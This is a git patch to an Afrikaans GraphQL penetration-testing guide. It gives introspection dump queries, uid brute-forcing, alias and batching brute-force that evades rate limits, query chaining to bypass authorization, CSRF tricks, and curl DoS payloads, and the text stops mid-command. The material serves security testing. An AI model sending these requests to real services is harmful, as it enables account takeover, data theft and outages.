From 4f41f4b2c2f692df7b4709fc54dd69aad2b9b1bf Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 23 Jul 2025 12:12:40 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/graphql.md'] --- .../pentesting-web/graphql.md | 143 +++++++++++++----- 1 file changed, 104 insertions(+), 39 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index b73c61fcc..f854a3305 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,15 +4,15 @@ ## Inleiding -GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels 'n aantal versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n **enkele versoek** moontlik. Hierdie stroomlynings **voordele ontwikkelaars** deur die kompleksiteit van hul data-haal prosesse te verminder. +GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied om data van die agterkant te vra. In teenstelling met REST, wat dikwels verskeie versoeke oor verskillende eindpunte benodig om data te versamel, stel GraphQL die haal van alle vereiste inligting deur 'n **enkele versoek** in staat. Hierdie stroomlynproses **voordele ontwikkelaars** deur die kompleksiteit van hul data-haalprosesse te verminder. ## GraphQL en Sekuriteit -Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan nuwe sekuriteitskwesies. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou. +Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Sleutelpunt om te noem is dat **GraphQL nie outentikasie-meganismes standaard insluit nie**. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentikasie kan GraphQL-eindpunte sensitiewe inligting aan nie-geoutentiseerde gebruikers blootstel, wat 'n beduidende sekuriteitsrisiko inhou. ### Gids Brute Force Aanvalle en GraphQL -Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is: +Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in gids brute force aanvalle aanbeveel. Hierdie paaie is: - `/graphql` - `/graphiql` @@ -23,15 +23,15 @@ Om blootgestelde GraphQL voorbeelde te identifiseer, word die insluiting van spe - `/graphql/api` - `/graphql/graphql` -Die identifisering van oop GraphQL voorbeelde stel in staat om die ondersteunende vrae te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt toeganklik is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die vrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/) +Die identifisering van oop GraphQL-instanties stel in staat om die ondersteunende vrae te ondersoek. Dit is van kardinale belang om die data wat deur die eindpunt beskikbaar is, te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die vrae wat 'n skema ondersteun, te detailleer. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: [**GraphQL: 'n vrae-taal vir API's.**](https://graphql.org/learn/introspection/) ### Vingerafdruk -Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor. +Die hulpmiddel [**graphw00f**](https://github.com/dolevf/graphw00f) is in staat om te detecteer watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsauditor. #### Universele vrae -Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n **universele vraag**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode berus op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul. +Om te kontroleer of 'n URL 'n GraphQL-diens is, kan 'n **universele vraag**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode berus op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul. ```javascript query{__typename} ``` @@ -57,7 +57,7 @@ Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en d **Foute** -Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit sal bydra tot nuttige **inligting.** +Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit nuttige **inligting** sal bydra. ``` ?query={__schema} ?query={} @@ -67,7 +67,7 @@ Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit sa **Lys Databasis Skema via Introspeksie** -> [!NOTE] +> [!TIP] > As introspeksie geaktiveer is, maar die bogenoemde navraag nie loop nie, probeer om die `onOperation`, `onFragment`, en `onField` riglyne uit die navraagstruktuur te verwyder. ```bash #Full introspection query @@ -162,7 +162,7 @@ Inline introspeksie navraag: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql sal dump (objekte name, parameters, tipes...) +Die laaste kode lyn is 'n graphql navraag wat al die meta-inligting van die graphql (objekte name, parameters, tipes...) sal dump. ![](<../../images/image (363).png>) @@ -180,7 +180,7 @@ Let daarop dat die tipe van die navraag "_flags_" "_Flags_" is, en hierdie objek ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Jy kan sien dat die "_Flags_" objektes saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: +Jy kan sien dat die "_Flags_" objekte bestaan uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry: ```javascript query={flags{name, value}} ``` @@ -188,7 +188,7 @@ Let daarop dat in die geval waar die **objek om te vra** 'n **primitiewe** **tip ![](<../../images/image (958).png>) -Jy kan dit eenvoudig vra met: +Jy kan dit net vra met: ```javascript query = { hiddenFlags } ``` @@ -211,15 +211,15 @@ So, deur 'n ligte _**uid**_ bruteforce uit te voer, het ek gevind dat in _**uid* ![](<../../images/image (90).png>) -Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user**_" en "_**password**_" omdat as ek probeer om vir iets te soek wat nie bestaan nie (`query={user(uid:1){noExists}}`) ek hierdie fout kry: +Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user**_" en "_**password**_" omdat as ek probeer om vir iets te soek wat nie bestaan nie (`query={user(uid:1){noExists}}`), kry ek hierdie fout: ![](<../../images/image (707).png>) -En tydens die **enumeration phase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het. +En tydens die **enumerasie fase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het. -**Query string dump trick (dank aan @BinaryShadow\_)** +**Query string dump trick (dankie aan @BinaryShadow\_)** -As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). +As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string**, sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_). ### Soek @@ -289,9 +289,9 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui. +In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en het ook flieks, wat verhoudings binne die databasis aandui. -'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): +'n Mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -339,7 +339,7 @@ Soos verduidelik in [**een van die kwesbaarhede beskryf in hierdie verslag**](ht ### Groepering brute-force in 1 API versoek Hierdie inligting is geneem van [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Autentisering deur middel van GraphQL API met **gelyktydig baie navrae met verskillende akrediteerdata** om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP versoek te stuur as gevolg van die GraphQL groepering kenmerk. Hierdie benadering sou eksterne koersmonitering toepassings mislei om te dink dat alles reg is en daar geen brute-forcing bot is wat probeer om wagwoorde te raai nie. +Autentisering deur middel van GraphQL API met **gelyktydig baie navrae met verskillende akrediteerbes** om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP versoek te stuur as gevolg van die GraphQL groepering kenmerk. Hierdie benadering sou eksterne koersmonitering toepassings mislei om te dink alles is reg en daar is geen brute-forcing bot wat probeer om wagwoorde te raai nie. Hieronder kan jy die eenvoudigste demonstrasie van 'n toepassingsautentisering versoek vind, met **3 verskillende e-pos/wagwoord pare op 'n slag**. Dit is duidelik moontlik om duisende in 'n enkele versoek op dieselfde manier te stuur: @@ -353,7 +353,7 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _ Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou. -Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde wat beskikbaar is vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Boonop, die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) uitbreiding **observeer GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). 'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?). @@ -411,13 +411,13 @@ As jy nie weet wat CSRF is nie, lees die volgende bladsy: ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} -Daar buite gaan jy verskeie GraphQL eindpunte **gevorm sonder CSRF tokens** vind. +Daar buite gaan jy verskeie GraphQL eindpunte **vind wat sonder CSRF tokens geconfigureer is.** Let daarop dat GraphQL versoeke gewoonlik via POST versoeke gestuur word met die Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -egter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST versoeke:** +Echter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST versoeke:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` @@ -427,7 +427,7 @@ Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van Let daarop dat dit gewoonlik moontlik is om die **query** **versoek** ook as 'n **GET** **versoek** te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie. -Ook, deur 'n [**XS-Search**](../../pentesting-web/xs-search/index.html) **aanval** te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te ekfiltreer deur die gebruikers se geloofsbriewe te misbruik. +Ook, deur 'n [**XS-Search**](../../pentesting-web/xs-search/index.html) **aanval** te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te eksfiltreer deur die gebruikers se geloofsbriewe te misbruik. Vir meer inligting **kyk die** [**oorspronklike pos hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -455,21 +455,21 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### Bypass autorisasie in GraphQL +### Oortreding van magtiging in GraphQL -[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentikasie-stelsel omseil. +[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) kan 'n swak magtigingstelsel omseil. In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
-## Omseiling van Tariefbeperkings met behulp van Aliasse in GraphQL +## Oortreding van Tariefbeperkings met behulp van Aliasse in GraphQL -In GraphQL is aliasse 'n kragtige kenmerk wat die **benaming van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het. +In GraphQL is aliasse 'n kragtige kenmerk wat die **benaming van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meerdere instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meerdere eienskappe met dieselfde naam het. -Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. egter, hierdie tariefbeperkings mag nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meervoudige navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil. +Terwyl die primêre doel van aliasse is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde gebruiksgeval geïdentifiseer waar aliasse benut kan word om brute force-aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefbeperkings wat ontwerp is om brute force-aanvalle te keer deur die **aantal HTTP-versoeke** te beperk. Hierdie tariefbeperkings mag egter nie rekening hou met die aantal operasies binne elke versoek nie. Aangesien aliasse die insluiting van meerdere navrae in 'n enkele HTTP-versoek toelaat, kan hulle sulke tariefbeperkings omseil. Oorweeg die voorbeeld hieronder, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkelafslagkode te verifieer. Hierdie metode kan tariefbeperkings omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkode gelyktydig toelaat. ```bash @@ -488,9 +488,9 @@ valid ``` ## DoS in GraphQL -### Alias Oorgelaai +### Alias Oorbelasting -**Alias Oorgelaai** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput: +**Alias Oorbelasting** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -501,7 +501,7 @@ Om dit te verminder, implementeer alias telling beperkings, navraag kompleksitei ### **Array-gebaseerde Navraag Groepering** -**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag. +**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae parallel uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -In hierdie voorbeeld word 10 verskillende navrae in een versoek saamgegroepeer, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter saamgroeperingsgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai. +In hierdie voorbeeld word 10 verskillende navrae in een versoek saamgegroepeer, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter groepgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai. ### **Direktiewe Oorlaai Kwetsbaarheid** -**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontketen, wat lei tot **Denial of Service (DoS)**. +**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontlok, wat lei tot **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -535,31 +535,94 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -En dan **gebruik sommige van die persoonlike** eenhede. +En dan **gebruik sommige van die pasgemaakte**. ### **Veld Duplikasie Kwetsbaarheid** -**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. +**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue, en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 